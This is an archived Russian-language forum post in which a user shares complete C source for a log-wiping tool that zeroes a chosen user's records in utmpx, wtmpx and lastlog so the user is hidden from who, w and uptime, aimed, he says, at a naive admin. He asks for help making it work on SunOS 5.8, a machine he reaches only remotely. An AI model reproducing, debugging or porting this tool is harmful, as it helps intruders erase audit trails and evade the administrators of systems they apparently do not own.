Hi! Вот такая есть прога: -------------------------------------------------------------------------------- --------------------------------------------- #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <sys/file.h> #include <fcntl.h> #include <utmp.h> #include <pwd.h> #include <lastlog.h> #define WTMP_NAME "/var/adm/wtmpx" #define UTMP_NAME "/var/adm/utmpx" #define LASTLOG_NAME "/var/adm/lastlog" int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),SEEK_END); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),SEEK_END); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("Djatel! Net uzera: %s v lastlog !!!\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Vse pu4kom ;))\n"); } else printf("Ebanat! Pravil\'no pisat\' nado!\n"); } -------------------------------------------------------------------------------- --------------------------------------------- Она должна стирать записи о некотором юзере, что б его небыло видно по who,w,uptime и т.д. (расчитанно на лоха-админа, который не знает что такое, например, netstat). У меня, под Линухом RH 6.1, эта прога работает как надо. А вот под СанОС 5.8 нифига она не работает. Иногда висит тупо на while, а иногда просто ничего не делает. Может знает кто в чем дело? Я б и сам разобрался, да вот только доступ к той тачке у меня удаленный, да и манов нет там. Памажыте плз. Заранее благодарю.
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.
Похожие темы
- Форум Не получается написать прогу (2010)
- Форум Accept блокирует работу (2017)
- Форум Проблемма с выделением памяти в модуле. (2005)
- Форум Сокеты в Си (продолжене) (2005)
- Форум проблема с получением файла на эхо сервере (2016)
- Форум Помогите разобраться с сигналами (2003)
- Форум Си: Стэк (2013)
- Форум Чтение многомерного массива из отраженого файла (2011)
- Форум Клиент, сервер и их правильная работа. (2005)
- Форум Проблема с connect (2006)